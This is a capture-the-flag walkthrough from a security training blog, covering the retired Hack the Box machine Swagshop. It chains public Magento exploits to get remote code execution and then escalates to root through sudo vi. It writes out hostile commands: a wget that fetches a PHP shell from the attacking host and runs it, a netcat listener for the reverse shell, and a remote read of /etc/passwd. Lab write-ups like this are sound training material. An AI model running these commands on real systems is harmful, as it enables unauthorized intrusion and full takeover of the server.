Capture the flag (CTF)

Hack the Box (HTB) machines walkthrough series — Swagshop

Security Ninja
December 9, 2019 by
Security Ninja

Today we will be continuing with our exploration of Hack the Box (HTB) machines, as seen in previous articles. This walkthrough is of an HTB machine named Swagshop.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Swagshop, is retired.


The walkthrough

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Swagshop machine IP is 10.10.10.140.

3. We will adopt the same methodology of performing penetration testing as we’ve used previously. Let’s start with enumeration in order to acquire as much information for the machine as possible.

4. As usual, let’s start with the Nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA Swagshop 10.10.10.140>>

5. It looks like port 80 and 22 are opened on this. Let’s start enumerating with port 80.

6. On port 80, it looks like Magento is running.

7. Looking into the source code and footer, we see that it was copyrighted in 2014.

8. The above is not a substantial lead but is noteworthy, so let’s mark it. Looking into the Magento git, it looks like there’s a file called RELEASE_NOTES.txt. Replicating the same shows the Magento version to be 1.7.0.2.

9. We run Gobuster to enumerate directories as well.
<<gobuster -u http://10.10.10.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt>>

10. One important directory was /app, which shows the version as well.

11. Now let’s search for an exploit for that version.

12. We found a few exploits. With one, we will perform RCE and create a user from the exploit (37977). We modify the exploit to create user:lhm with a password.

13. In the exploit, the admin login page was also mentioned. Browsing to that page and supplying the credentials lhm:lhm worked.

14. Below is the landing page after our successful login.

15. We can also see the version here as well.

16. We pick up another exploit to gain our first remote shell. Since we now have created a user, we can use the authenticated remote RCE exploit.

17. Below is the replacement of the user and password with the one created above.

18. Testing the exploit with printing /etc/passwd from the remote machine worked.
<<python 37811.py http://10.10.10.140/index.php/admin “cat /etc/passwd”>>

19. Now let’s host a PHP shell from a Python web server on the attacking machine.

<<python -m SimpleHTTPServer 80>>

<<python 37811.py http://10.10.10.140/index.php/admin “wget -O /tmp/shell.php http://<attacking machine ip>/shell.php;php /tmp/shell.php”>>

20. The above command results in an error, since I have deposited the file in /tmp but executed in /.

21. Not to worry, since the file is already uploaded on the victim machine. We just need to execute the file.

22. After executing the above command, we got the shell below.
<<nc -nlvp 4321>>

23. We enumerate to find the user.txt.

<<pwd>>

<<cat user.txt>>

24. Let’s start with escalating user permissions.

25. The first thing to check is what this user can do with sudo. It looks like a lot!
<<sudo -l>>

26. So we can run the vi command as sudo on any file under /var/www/html/.

27. We create such a file and do a classic vi escalation.

<<sudo vi /var/www/html/escape.sh>>

<<:!/bin/sh>>

28. As soon as we hit enter, we get the root prompt.

29. Enumerating to grab the root.txt file as well.

<<cd /root>>

<<cat root.txt>>

So this was a straightforward box. The first shell was based on enumeration, and escalation was done with a classic technique.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

We will continue this series with similarly interesting HTB machines.

Security Ninja
Security Ninja